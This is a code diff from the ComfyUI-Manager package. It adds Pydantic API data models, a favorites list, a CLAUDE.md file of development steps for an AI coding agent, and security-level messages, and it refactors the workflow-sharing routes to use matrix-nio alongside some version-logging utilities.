+        ..., description="ComfyUI Node Registry ID of the package to enable"
+    )
+
+
+class UpdateAllQueryParams(BaseModel):
+    client_id: str = Field(
+        ..., description="Client identifier that initiated the request"
+    )
+    ui_id: str = Field(..., description="Base UI identifier for task tracking")
+    mode: Optional[ManagerDatabaseSource] = None
+
+
+class UpdateComfyUIQueryParams(BaseModel):
+    client_id: str = Field(
+        ..., description="Client identifier that initiated the request"
+    )
+    ui_id: str = Field(..., description="UI identifier for task tracking")
+    stable: Optional[bool] = Field(
+        True,
+        description="Whether to update to stable version (true) or nightly (false)",
+    )
+
+
+class ComfyUISwitchVersionParams(BaseModel):
+    ver: str = Field(..., description="Target ComfyUI version tag")
+    client_id: str = Field(
+        ..., description="Client identifier that initiated the request"
+    )
+    ui_id: str = Field(..., description="UI identifier for task tracking")
+
+
+class QueueStatus(BaseModel):
+    total_count: int = Field(
+        ..., description="Total number of tasks (pending + running)"
+    )
+    done_count: int = Field(..., description="Number of completed tasks")
+    in_progress_count: int = Field(..., description="Number of tasks currently running")
+    pending_count: Optional[int] = Field(
+        None, description="Number of tasks waiting to be executed"
+    )
+    is_processing: bool = Field(..., description="Whether the task worker is active")
+    client_id: Optional[str] = Field(
+        None, description="Client ID (when filtered by client)"
+    )
+
+
+class ManagerMappings1(BaseModel):
+    title_aux: Optional[str] = Field(None, description="The display name of the pack")
+
+
+class ManagerMappings(
+    RootModel[Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]]]
+):
+    root: Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]] = Field(
+        None, description="Tuple of [node_names, metadata]"
+    )
+
+
+class ModelMetadata(BaseModel):
+    name: str = Field(..., description="Name of the model")
+    type: str = Field(..., description="Type of model")
+    base: Optional[str] = Field(None, description="Base model type")
+    save_path: Optional[str] = Field(None, description="Path for saving the model")
+    url: str = Field(..., description="Download URL")
+    filename: str = Field(..., description="Target filename")
+    ui_id: Optional[str] = Field(None, description="ID for UI reference")
+
+
+class InstallType(str, Enum):
+    git = "git"
+    copy = "copy"
+    pip = "pip"
+
+
+class NodePackageMetadata(BaseModel):
+    title: Optional[str] = Field(None, description="Display name of the node package")
+    name: Optional[str] = Field(None, description="Repository/package name")
+    files: Optional[List[str]] = Field(None, description="Source URLs for the package")
+    description: Optional[str] = Field(
+        None, description="Description of the node package functionality"
+    )
+    install_type: Optional[InstallType] = Field(None, description="Installation method")
+    version: Optional[str] = Field(None, description="Version identifier")
+    id: Optional[str] = Field(
+        None, description="Unique identifier for the node package"
+    )
+    ui_id: Optional[str] = Field(None, description="ID for UI reference")
+    channel: Optional[str] = Field(None, description="Source channel")
+    mode: Optional[str] = Field(None, description="Source mode")
+
+
+class SnapshotItem(RootModel[str]):
+    root: str = Field(..., description="Name of the snapshot")
+
+
+class Error(BaseModel):
+    error: str = Field(..., description="Error message")
+
+
+class InstalledPacksResponse(RootModel[Optional[Dict[str, ManagerPackInstalled]]]):
+    root: Optional[Dict[str, ManagerPackInstalled]] = None
+
+
+class HistoryListResponse(BaseModel):
+    ids: Optional[List[str]] = Field(
+        None, description="List of available batch history IDs"
+    )
+
+
+class InstalledNodeInfo(BaseModel):
+    name: str = Field(..., description="Node package name")
+    version: str = Field(..., description="Installed version")
+    repository_url: Optional[str] = Field(None, description="Git repository URL")
+    install_method: str = Field(
+        ..., description="Installation method (cnr, git, pip, etc.)"
+    )
+    enabled: Optional[bool] = Field(
+        True, description="Whether the node is currently enabled"
+    )
+    install_date: Optional[datetime] = Field(
+        None, description="ISO timestamp of installation"
+    )
+
+
+class InstalledModelInfo(BaseModel):
+    name: str = Field(..., description="Model filename")
+    path: str = Field(..., description="Full path to model file")
+    type: str = Field(..., description="Model type (checkpoint, lora, vae, etc.)")
+    size_bytes: Optional[int] = Field(None, description="File size in bytes", ge=0)
+    hash: Optional[str] = Field(None, description="Model file hash for verification")
+    install_date: Optional[datetime] = Field(
+        None, description="ISO timestamp when added"
+    )
+
+
+class ComfyUIVersionInfo(BaseModel):
+    version: str = Field(..., description="ComfyUI version string")
+    commit_hash: Optional[str] = Field(None, description="Git commit hash")
+    branch: Optional[str] = Field(None, description="Git branch name")
+    is_stable: Optional[bool] = Field(
+        False, description="Whether this is a stable release"
+    )
+    last_updated: Optional[datetime] = Field(
+        None, description="ISO timestamp of last update"
+    )
+
+
+class BatchOperation(BaseModel):
+    operation_id: str = Field(..., description="Unique operation identifier")
+    operation_type: OperationType
+    target: str = Field(
+        ..., description="Target of the operation (node name, model name, etc.)"
+    )
+    target_version: Optional[str] = Field(
+        None, description="Target version for the operation"
+    )
+    result: OperationResult
+    error_message: Optional[str] = Field(
+        None, description="Error message if operation failed"
+    )
+    start_time: datetime = Field(
+        ..., description="ISO timestamp when operation started"
+    )
+    end_time: Optional[datetime] = Field(
+        None, description="ISO timestamp when operation completed"
+    )
+    client_id: Optional[str] = Field(
+        None, description="Client that initiated the operation"
+    )
+
+
+class ComfyUISystemState(BaseModel):
+    snapshot_time: datetime = Field(
+        ..., description="ISO timestamp when snapshot was taken"
+    )
+    comfyui_version: ComfyUIVersionInfo
+    frontend_version: Optional[str] = Field(
+        None, description="ComfyUI frontend version if available"
+    )
+    python_version: str = Field(..., description="Python interpreter version")
+    platform_info: str = Field(
+        ..., description="Operating system and platform information"
+    )
+    installed_nodes: Optional[Dict[str, InstalledNodeInfo]] = Field(
+        None, description="Map of installed node packages by name"
+    )
+    installed_models: Optional[Dict[str, InstalledModelInfo]] = Field(
+        None, description="Map of installed models by name"
+    )
+    manager_config: Optional[Dict[str, Any]] = Field(
+        None, description="ComfyUI Manager configuration settings"
+    )
+    comfyui_root_path: Optional[str] = Field(
+        None, description="ComfyUI root installation directory"
+    )
+    model_paths: Optional[Dict[str, List[str]]] = Field(
+        None, description="Map of model types to their configured paths"
+    )
+    manager_version: Optional[str] = Field(None, description="ComfyUI Manager version")
+    security_level: Optional[SecurityLevel] = None
+    network_mode: Optional[str] = Field(
+        None, description="Network mode (online, offline, private)"
+    )
+    cli_args: Optional[Dict[str, Any]] = Field(
+        None, description="Selected ComfyUI CLI arguments"
+    )
+    custom_nodes_count: Optional[int] = Field(
+        None, description="Total number of custom node packages", ge=0
+    )
+    failed_imports: Optional[List[str]] = Field(
+        None, description="List of custom nodes that failed to import"
+    )
+    pip_packages: Optional[Dict[str, str]] = Field(
+        None, description="Map of installed pip packages to their versions"
+    )
+    embedded_python: Optional[bool] = Field(
+        None,
+        description="Whether ComfyUI is running from an embedded Python distribution",
+    )
+
+
+class BatchExecutionRecord(BaseModel):
+    batch_id: str = Field(..., description="Unique batch identifier")
+    start_time: datetime = Field(..., description="ISO timestamp when batch started")
+    end_time: Optional[datetime] = Field(
+        None, description="ISO timestamp when batch completed"
+    )
+    state_before: ComfyUISystemState
+    state_after: Optional[ComfyUISystemState] = Field(
+        None, description="System state after batch execution"
+    )
+    operations: Optional[List[BatchOperation]] = Field(
+        None, description="List of operations performed in this batch"
+    )
+    total_operations: Optional[int] = Field(
+        0, description="Total number of operations in batch", ge=0
+    )
+    successful_operations: Optional[int] = Field(
+        0, description="Number of successful operations", ge=0
+    )
+    failed_operations: Optional[int] = Field(
+        0, description="Number of failed operations", ge=0
+    )
+    skipped_operations: Optional[int] = Field(
+        0, description="Number of skipped operations", ge=0
+    )
+
+
+class ImportFailInfoBulkRequest(BaseModel):
+    cnr_ids: Optional[List[str]] = Field(
+        None, description="A list of CNR IDs to check."
+    )
+    urls: Optional[List[str]] = Field(
+        None, description="A list of repository URLs to check."
+    )
+
+
+class ImportFailInfoItem1(BaseModel):
+    error: Optional[str] = None
+    traceback: Optional[str] = None
+
+
+class ImportFailInfoItem(RootModel[Optional[ImportFailInfoItem1]]):
+    root: Optional[ImportFailInfoItem1]
+
+
+class QueueTaskItem(BaseModel):
+    ui_id: str = Field(..., description="Unique identifier for the task")
+    client_id: str = Field(..., description="Client identifier that initiated the task")
+    kind: OperationType
+    params: Union[
+        InstallPackParams,
+        UpdatePackParams,
+        UpdateAllPacksParams,
+        UpdateComfyUIParams,
+        FixPackParams,
+        UninstallPackParams,
+        DisablePackParams,
+        EnablePackParams,
+        ModelMetadata,
+    ]
+
+
+class TaskHistoryItem(BaseModel):
+    ui_id: str = Field(..., description="Unique identifier for the task")
+    client_id: str = Field(..., description="Client identifier that initiated the task")
+    kind: str = Field(..., description="Type of task that was performed")
+    timestamp: datetime = Field(..., description="ISO timestamp when task completed")
+    result: str = Field(..., description="Task result message or details")
+    status: Optional[TaskExecutionStatus] = None
+    batch_id: Optional[str] = Field(
+        None, description="ID of the batch this task belongs to"
+    )
+    end_time: Optional[datetime] = Field(
+        None, description="ISO timestamp when task execution ended"
+    )
+    params: Optional[
+        Union[
+            InstallPackParams,
+            UpdatePackParams,
+            UpdateAllPacksParams,
+            UpdateComfyUIParams,
+            FixPackParams,
+            UninstallPackParams,
+            DisablePackParams,
+            EnablePackParams,
+            ModelMetadata,
+        ]
+    ] = Field(
+        None,
+        description="Original task parameters (mirrors QueueTaskItem.params); null if unavailable",
+    )
+
+
+class TaskStateMessage(BaseModel):
+    history: Dict[str, TaskHistoryItem] = Field(
+        ..., description="Map of task IDs to their history items"
+    )
+    running_queue: List[QueueTaskItem] = Field(
+        ..., description="Currently executing tasks"
+    )
+    pending_queue: List[QueueTaskItem] = Field(
+        ..., description="Tasks waiting to be executed"
+    )
+    installed_packs: Dict[str, ManagerPackInstalled] = Field(
+        ..., description="Map of currently installed node packages by name"
+    )
+
+
+class MessageTaskDone(BaseModel):
+    ui_id: str = Field(..., description="Task identifier")
+    result: str = Field(..., description="Task result message")
+    kind: str = Field(..., description="Type of task")
+    status: Optional[TaskExecutionStatus] = None
+    timestamp: datetime = Field(..., description="ISO timestamp when task completed")
+    state: TaskStateMessage
+
+
+class MessageTaskStarted(BaseModel):
+    ui_id: str = Field(..., description="Task identifier")
+    kind: str = Field(..., description="Type of task")
+    timestamp: datetime = Field(..., description="ISO timestamp when task started")
+    state: TaskStateMessage
+
+
+class MessageTaskFailed(BaseModel):
+    ui_id: str = Field(..., description="Task identifier")
+    error: str = Field(..., description="Error message")
+    kind: str = Field(..., description="Type of task")
+    timestamp: datetime = Field(..., description="ISO timestamp when task failed")
+    state: TaskStateMessage
+
+
+class MessageUpdate(
+    RootModel[Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed]]
+):
+    root: Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed] = Field(
+        ..., description="Union type for all possible WebSocket message updates"
+    )
+
+
+class HistoryResponse(BaseModel):
+    history: Optional[Dict[str, TaskHistoryItem]] = Field(
+        None, description="Map of task IDs to their history items"
+    )
+
+
+class ImportFailInfoBulkResponse(RootModel[Optional[Dict[str, ImportFailInfoItem]]]):
+    root: Optional[Dict[str, ImportFailInfoItem]] = None

comfyui_manager/extras.json

@@ -0,0 +1,26 @@
+{
+    "favorites": [
+        "comfyui_ipadapter_plus",
+        "comfyui-animatediff-evolved",
+        "comfyui_controlnet_aux",
+        "comfyui-impact-pack",
+        "comfyui-impact-subpack",
+        "comfyui-custom-scripts",
+        "comfyui-layerdiffuse",
+        "comfyui-liveportraitkj",
+        "aigodlike-comfyui-translation",
+        "comfyui-reactor",
+        "comfyui_instantid",
+        "sd-dynamic-thresholding",
+        "pr-was-node-suite-comfyui-47064894",
+        "comfyui-advancedliveportrait",
+        "comfyui_layerstyle",
+        "efficiency-nodes-comfyui",
+        "comfyui-crystools",
+        "comfyui-advanced-controlnet",
+        "comfyui-videohelpersuite",
+        "comfyui-kjnodes",
+        "comfy-mtb",
+        "comfyui_essentials"
+    ]
+}

comfyui_manager/glob/CLAUDE.md

@@ -0,0 +1,11 @@
+- Anytime you make a change to the data being sent or received, you should follow this process:
+  1. Adjust the openapi.yaml file first
+  2. Verify the syntax of the openapi.yaml file using `yaml.safe_load`
+  3. Regenerate the types following the instructions in the `data_models/README.md` file
+  4. Verify the new data model is generated
+  5. Verify the syntax of the generated types files
+  6. Run formatting and linting on the generated types files
+  7. Adjust the `__init__.py` files in the `data_models` directory to match/export the new data model
+  8. Only then, make the changes to the rest of the codebase
+  9. Run the CI tests to verify that the changes are working
+- The comfyui_manager is a python package that is used to manage the comfyui server. There are two sub-packages `glob` and `legacy`. These represent the current version (`glob`) and the previous version (`legacy`), not including common utilities and data models. When developing, we work in the `glob` package. You can ignore the `legacy` package entirely, unless you have a very good reason to research how things were done in the legacy or prior major versions of the package. But in those cases, you should just look for the sake of knowledge or reflection, not for changing code (unless explicitly asked to do so).

comfyui_manager/glob/constants.py

@@ -0,0 +1,56 @@
+
+SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
+SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
+SECURITY_MESSAGE_HIGH_P = "ERROR: To use this action, '--listen' must be set to a local IP and security_level must be 'normal-' or lower. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
+SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
+SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
+SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
+
+
+def is_loopback(address):
+    import ipaddress
+
+    try:
+        return ipaddress.ip_address(address).is_loopback
+    except ValueError:
+        return False
+
+
+model_dir_name_map = {
+    "checkpoints": "checkpoints",
+    "checkpoint": "checkpoints",
+    "unclip": "checkpoints",
+    "text_encoders": "text_encoders",
+    "clip": "text_encoders",
+    "vae": "vae",
+    "lora": "loras",
+    "t2i-adapter": "controlnet",
+    "t2i-style": "controlnet",
+    "controlnet": "controlnet",
+    "clip_vision": "clip_vision",
+    "gligen": "gligen",
+    "upscale": "upscale_models",
+    "embedding": "embeddings",
+    "embeddings": "embeddings",
+    "unet": "diffusion_models",
+    "diffusion_model": "diffusion_models",
+}
+
+# List of all model directory names used for checking installed models
+MODEL_DIR_NAMES = [
+    "checkpoints",
+    "loras",
+    "vae",
+    "text_encoders",
+    "diffusion_models",
+    "clip_vision",
+    "embeddings",
+    "diffusers",
+    "vae_approx",
+    "controlnet",
+    "gligen",
+    "upscale_models",
+    "hypernetworks",
+    "photomaker",
+    "classifiers",
+]

comfyui_manager/glob/share_3rdparty.py

@@ -1,5 +1,7 @@
 import mimetypes
-import manager_core as core
+from ..common import context
+from . import manager_core as core
+
 import os
 from aiohttp import web
 import aiohttp
@@ -8,6 +10,16 @@ import hashlib
 
 import folder_paths
 from server import PromptServer
+import logging
+import sys
+
+
+try:
+    from nio import AsyncClient, LoginResponse, UploadResponse
+    matrix_nio_is_available = True
+except Exception:
+    logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
+    matrix_nio_is_available = False
 
 
 def extract_model_file_names(json_data):
@@ -53,7 +65,7 @@ def compute_sha256_checksum(filepath):
     return sha256.hexdigest()
 
 
-@PromptServer.instance.routes.get("/manager/share_option")
+@PromptServer.instance.routes.get("/v2/manager/share_option")
 async def share_option(request):
     if "value" in request.rel_url.query:
         core.get_config()['share_option'] = request.rel_url.query['value']
@@ -65,21 +77,21 @@ async def share_option(request):
 
 
 def get_openart_auth():
-    if not os.path.exists(os.path.join(core.comfyui_manager_path, ".openart_key")):
+    if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
         return None
     try:
-        with open(os.path.join(core.comfyui_manager_path, ".openart_key"), "r") as f:
+        with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
             openart_key = f.read().strip()
         return openart_key if openart_key else None
-    except:
+    except Exception:
         return None
 
 
 def get_matrix_auth():
-    if not os.path.exists(os.path.join(core.comfyui_manager_path, "matrix_auth")):
+    if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
         return None
     try:
-        with open(os.path.join(core.comfyui_manager_path, "matrix_auth"), "r") as f:
+        with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
             matrix_auth = f.read()
             homeserver, username, password = matrix_auth.strip().split("\n")
             if not homeserver or not username or not password:
@@ -89,40 +101,40 @@ def get_matrix_auth():
             "username": username,
             "password": password,
         }
-    except:
+    except Exception:
         return None
 
 
 def get_comfyworkflows_auth():
-    if not os.path.exists(os.path.join(core.comfyui_manager_path, "comfyworkflows_sharekey")):
+    if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
         return None
     try:
-        with open(os.path.join(core.comfyui_manager_path, "comfyworkflows_sharekey"), "r") as f:
+        with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
             share_key = f.read()
             if not share_key.strip():
                 return None
         return share_key
-    except:
+    except Exception:
         return None
 
 
 def get_youml_settings():
-    if not os.path.exists(os.path.join(core.comfyui_manager_path, ".youml")):
+    if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
         return None
     try:
-        with open(os.path.join(core.comfyui_manager_path, ".youml"), "r") as f:
+        with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
             youml_settings = f.read().strip()
         return youml_settings if youml_settings else None
-    except:
+    except Exception:
         return None
 
 
 def set_youml_settings(settings):
-    with open(os.path.join(core.comfyui_manager_path, ".youml"), "w") as f:
+    with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
         f.write(settings)
 
 
-@PromptServer.instance.routes.get("/manager/get_openart_auth")
+@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
 async def api_get_openart_auth(request):
     # print("Getting stored Matrix credentials...")
     openart_key = get_openart_auth()
@@ -131,16 +143,16 @@ async def api_get_openart_auth(request):
     return web.json_response({"openart_key": openart_key})
 
 
-@PromptServer.instance.routes.post("/manager/set_openart_auth")
+@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
 async def api_set_openart_auth(request):
     json_data = await request.json()
     openart_key = json_data['openart_key']
-    with open(os.path.join(core.comfyui_manager_path, ".openart_key"), "w") as f:
+    with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
         f.write(openart_key)
     return web.Response(status=200)
 
 
-@PromptServer.instance.routes.get("/manager/get_matrix_auth")
+@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
 async def api_get_matrix_auth(request):
     # print("Getting stored Matrix credentials...")
     matrix_auth = get_matrix_auth()
@@ -149,7 +161,7 @@ async def api_get_matrix_auth(request):
     return web.json_response(matrix_auth)
 
 
-@PromptServer.instance.routes.get("/manager/youml/settings")
+@PromptServer.instance.routes.get("/v2/manager/youml/settings")
 async def api_get_youml_settings(request):
     youml_settings = get_youml_settings()
     if not youml_settings:
@@ -157,14 +169,14 @@ async def api_get_youml_settings(request):
     return web.json_response(json.loads(youml_settings))
 
 
-@PromptServer.instance.routes.post("/manager/youml/settings")
+@PromptServer.instance.routes.post("/v2/manager/youml/settings")
 async def api_set_youml_settings(request):
     json_data = await request.json()
     set_youml_settings(json.dumps(json_data))
     return web.Response(status=200)
 
 
-@PromptServer.instance.routes.get("/manager/get_comfyworkflows_auth")
+@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
 async def api_get_comfyworkflows_auth(request):
     # Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
     # in the same directory as the ComfyUI base folder
@@ -175,33 +187,39 @@ async def api_get_comfyworkflows_auth(request):
     return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
 
 
-@PromptServer.instance.routes.post("/manager/set_esheep_workflow_and_images")
+@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
 async def set_esheep_workflow_and_images(request):
     json_data = await request.json()
-    current_workflow = json_data['workflow']
-    images = json_data['images']
-    with open(os.path.join(core.comfyui_manager_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
+    with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
         json.dump(json_data, file, indent=4)
         return web.Response(status=200)
 
 
-@PromptServer.instance.routes.get("/manager/get_esheep_workflow_and_images")
+@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
 async def get_esheep_workflow_and_images(request):
-    with open(os.path.join(core.comfyui_manager_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
+    with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
         data = json.load(file)
         return web.Response(status=200, text=json.dumps(data))
 
 
+@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
+async def get_matrix_dep_status(request):
+    if matrix_nio_is_available:
+        return web.Response(status=200, text='available')
+    else:
+        return web.Response(status=200, text='unavailable')
+
+
 def set_matrix_auth(json_data):
     homeserver = json_data['homeserver']
     username = json_data['username']
     password = json_data['password']
-    with open(os.path.join(core.comfyui_manager_path, "matrix_auth"), "w") as f:
+    with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
         f.write("\n".join([homeserver, username, password]))
 
 
 def set_comfyworkflows_auth(comfyworkflows_sharekey):
-    with open(os.path.join(core.comfyui_manager_path, "comfyworkflows_sharekey"), "w") as f:
+    with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
         f.write(comfyworkflows_sharekey)
 
 
@@ -213,7 +231,7 @@ def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
     return comfyworkflows_sharekey.strip()
 
 
-@PromptServer.instance.routes.post("/manager/share")
+@PromptServer.instance.routes.post("/v2/manager/share")
 async def share_art(request):
     # get json data
     json_data = await request.json()
@@ -235,7 +253,7 @@ async def share_art(request):
 
     try:
         output_to_share = potential_outputs[int(selected_output_index)]
-    except:
+    except Exception:
         # for now, pick the first output
         output_to_share = potential_outputs[0]
 
@@ -319,7 +337,7 @@ async def share_art(request):
             form.add_field("shareWorkflowTitle", title)
             form.add_field("shareWorkflowDescription", description)
             form.add_field("shareWorkflowIsNSFW", str(is_nsfw).lower())
-            form.add_field("currentSnapshot", json.dumps(core.get_current_snapshot()))
+            form.add_field("currentSnapshot", json.dumps(await core.get_current_snapshot()))
             form.add_field("modelsInfo", json.dumps(models_info))
 
             async with session.post(
@@ -331,15 +349,12 @@ async def share_art(request):
                 workflowId = upload_workflow_json["workflowId"]
 
     # check if the user has provided Matrix credentials
-    if "matrix" in share_destinations:
+    if matrix_nio_is_available and "matrix" in share_destinations:
         comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
         filename = os.path.basename(asset_filepath)
         content_type = assetFileType
 
         try:
-            from matrix_client.api import MatrixHttpApi
-            from matrix_client.client import MatrixClient
-
             homeserver = 'matrix.org'
             if matrix_auth:
                 homeserver = matrix_auth.get('homeserver', 'matrix.org')
@@ -347,20 +362,35 @@ async def share_art(request):
             if not homeserver.startswith("https://"):
                 homeserver = "https://" + homeserver
 
-            client = MatrixClient(homeserver)
-            try:
-                token = client.login(username=matrix_auth['username'], password=matrix_auth['password'])
-                if not token:
-                    return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
-            except:
+            client = AsyncClient(homeserver, matrix_auth['username'])
+
+            # Login
+            login_resp = await client.login(matrix_auth['password'])
+            if not isinstance(login_resp, LoginResponse) or not login_resp.access_token:
+                await client.close()
                 return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
 
-            matrix = MatrixHttpApi(homeserver, token=token)
+            # Upload asset
             with open(asset_filepath, 'rb') as f:
-                mxc_url = matrix.media_upload(f.read(), content_type, filename=filename)['content_uri']
+                upload_resp, _maybe_keys = await client.upload(f, content_type=content_type, filename=filename)
+                asset_data = f.seek(0) or f.read()  # get size for info below
+            if not isinstance(upload_resp, UploadResponse) or not upload_resp.content_uri:
+                await client.close()
+                return web.json_response({"error": "Failed to upload asset to Matrix."}, content_type='application/json', status=500)
+            mxc_url = upload_resp.content_uri
 
-            workflow_json_mxc_url = matrix.media_upload(prompt['workflow'], 'application/json', filename='workflow.json')['content_uri']
+            # Upload workflow JSON
+            import io
+            workflow_json_bytes = json.dumps(prompt['workflow']).encode('utf-8')
+            workflow_io = io.BytesIO(workflow_json_bytes)
+            upload_workflow_resp, _maybe_keys = await client.upload(workflow_io, content_type='application/json', filename='workflow.json')
+            workflow_io.seek(0)
+            if not isinstance(upload_workflow_resp, UploadResponse) or not upload_workflow_resp.content_uri:
+                await client.close()
+                return web.json_response({"error": "Failed to upload workflow to Matrix."}, content_type='application/json', status=500)
+            workflow_json_mxc_url = upload_workflow_resp.content_uri
 
+            # Send text message
             text_content = ""
             if title:
                 text_content += f"{title}\n"
@@ -368,9 +398,44 @@ async def share_art(request):
                 text_content += f"{description}\n"
             if credits:
                 text_content += f"\ncredits: {credits}\n"
-            response = matrix.send_message(comfyui_share_room_id, text_content)
-            response = matrix.send_content(comfyui_share_room_id, mxc_url, filename, 'm.image')
-            response = matrix.send_content(comfyui_share_room_id, workflow_json_mxc_url, 'workflow.json', 'm.file')
+            await client.room_send(
+                room_id=comfyui_share_room_id,
+                message_type="m.room.message",
+                content={"msgtype": "m.text", "body": text_content}
+            )
+
+            # Send image
+            await client.room_send(
+                room_id=comfyui_share_room_id,
+                message_type="m.room.message",
+                content={
+                    "msgtype": "m.image",
+                    "body": filename,
+                    "url": mxc_url,
+                    "info": {
+                        "mimetype": content_type,
+                        "size": len(asset_data)
+                    }
+                }
+            )
+
+            # Send workflow JSON file
+            await client.room_send(
+                room_id=comfyui_share_room_id,
+                message_type="m.room.message",
+                content={
+                    "msgtype": "m.file",
+                    "body": "workflow.json",
+                    "url": workflow_json_mxc_url,
+                    "info": {
+                        "mimetype": "application/json",
+                        "size": len(workflow_json_bytes)
+                    }
+                }
+            )
+
+            await client.close()
+
         except:
             import traceback
             traceback.print_exc()

comfyui_manager/glob/utils/environment_utils.py

@@ -0,0 +1,138 @@
+import os
+from comfyui_manager.common.git_compat import open_repo, setup_git_environment
+import logging
+import traceback
+
+from comfyui_manager.common import context
+import folder_paths
+
+from comfyui_manager.glob import manager_core as core
+from comfyui_manager.common import cm_global
+
+
+comfy_ui_hash = "-"
+comfyui_tag = None
+
+
+def print_comfyui_version():
+    global comfy_ui_hash
+    global comfyui_tag
+
+    is_detached = False
+    try:
+        with open_repo(os.path.dirname(folder_paths.__file__)) as repo:
+            core.comfy_ui_revision = repo.iter_commits_count()
+
+            comfy_ui_hash = repo.head_commit_hexsha
+            cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
+
+            core.comfy_ui_commit_datetime = repo.head_commit_datetime
+            cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
+
+            is_detached = repo.head_is_detached
+            current_branch = repo.active_branch_name
+
+        comfyui_tag = context.get_comfyui_tag()
+
+        try:
+            if (
+                not os.environ.get("__COMFYUI_DESKTOP_VERSION__")
+                and core.comfy_ui_commit_datetime.date()
+                < core.comfy_ui_required_commit_datetime.date()
+            ):
+                logging.warning(
+                    f"\n\n## [WARN] ComfyUI-Manager: Your ComfyUI version ({core.comfy_ui_revision})[{core.comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version. ##\n\n"
+                )
+        except Exception:
+            pass
+
+        # process on_revision_detected -->
+        if "cm.on_revision_detected_handler" in cm_global.variables:
+            for k, f in cm_global.variables["cm.on_revision_detected_handler"]:
+                try:
+                    f(core.comfy_ui_revision)
+                except Exception:
+                    logging.error(f"[ERROR] '{k}' on_revision_detected_handler")
+                    traceback.print_exc()
+
+            del cm_global.variables["cm.on_revision_detected_handler"]
+        else:
+            logging.warning(
+                "[ComfyUI-Manager] Some features are restricted due to your ComfyUI being outdated."
+            )
+        # <--
+
+        if current_branch == "master":
+            if comfyui_tag:
+                logging.info(
+                    f"### ComfyUI Version: {comfyui_tag} | Released on '{core.comfy_ui_commit_datetime.date()}'"
+                )
+            else:
+                logging.info(
+                    f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
+                )
+        else:
+            if comfyui_tag:
+                logging.info(
+                    f"### ComfyUI Version: {comfyui_tag} on '{current_branch}' | Released on '{core.comfy_ui_commit_datetime.date()}'"
+                )
+            else:
+                logging.info(
+                    f"### ComfyUI Revision: {core.comfy_ui_revision} on '{current_branch}' [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
+                )
+    except Exception:
+        if is_detached:
+            logging.info(
+                f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] *DETACHED | Released on '{core.comfy_ui_commit_datetime.date()}'"
+            )
+        else:
+            logging.info(
+                "### ComfyUI Revision: UNKNOWN (The currently installed ComfyUI is not a Git repository)"
+            )
+
+
+ALLOWED_UPDATE_POLICIES = ("stable", "stable-comfyui", "nightly", "nightly-comfyui")
+ALLOWED_DB_MODES = ("cache", "channel", "local", "remote")
+
+
+def set_update_policy(mode):
+    if mode not in ALLOWED_UPDATE_POLICIES:
+        raise ValueError(
+            f"Invalid update_policy {mode!r}; must be one of {ALLOWED_UPDATE_POLICIES}"
+        )
+    core.get_config()["update_policy"] = mode
+
+
+def set_db_mode(mode):
+    if mode not in ALLOWED_DB_MODES:
+        raise ValueError(
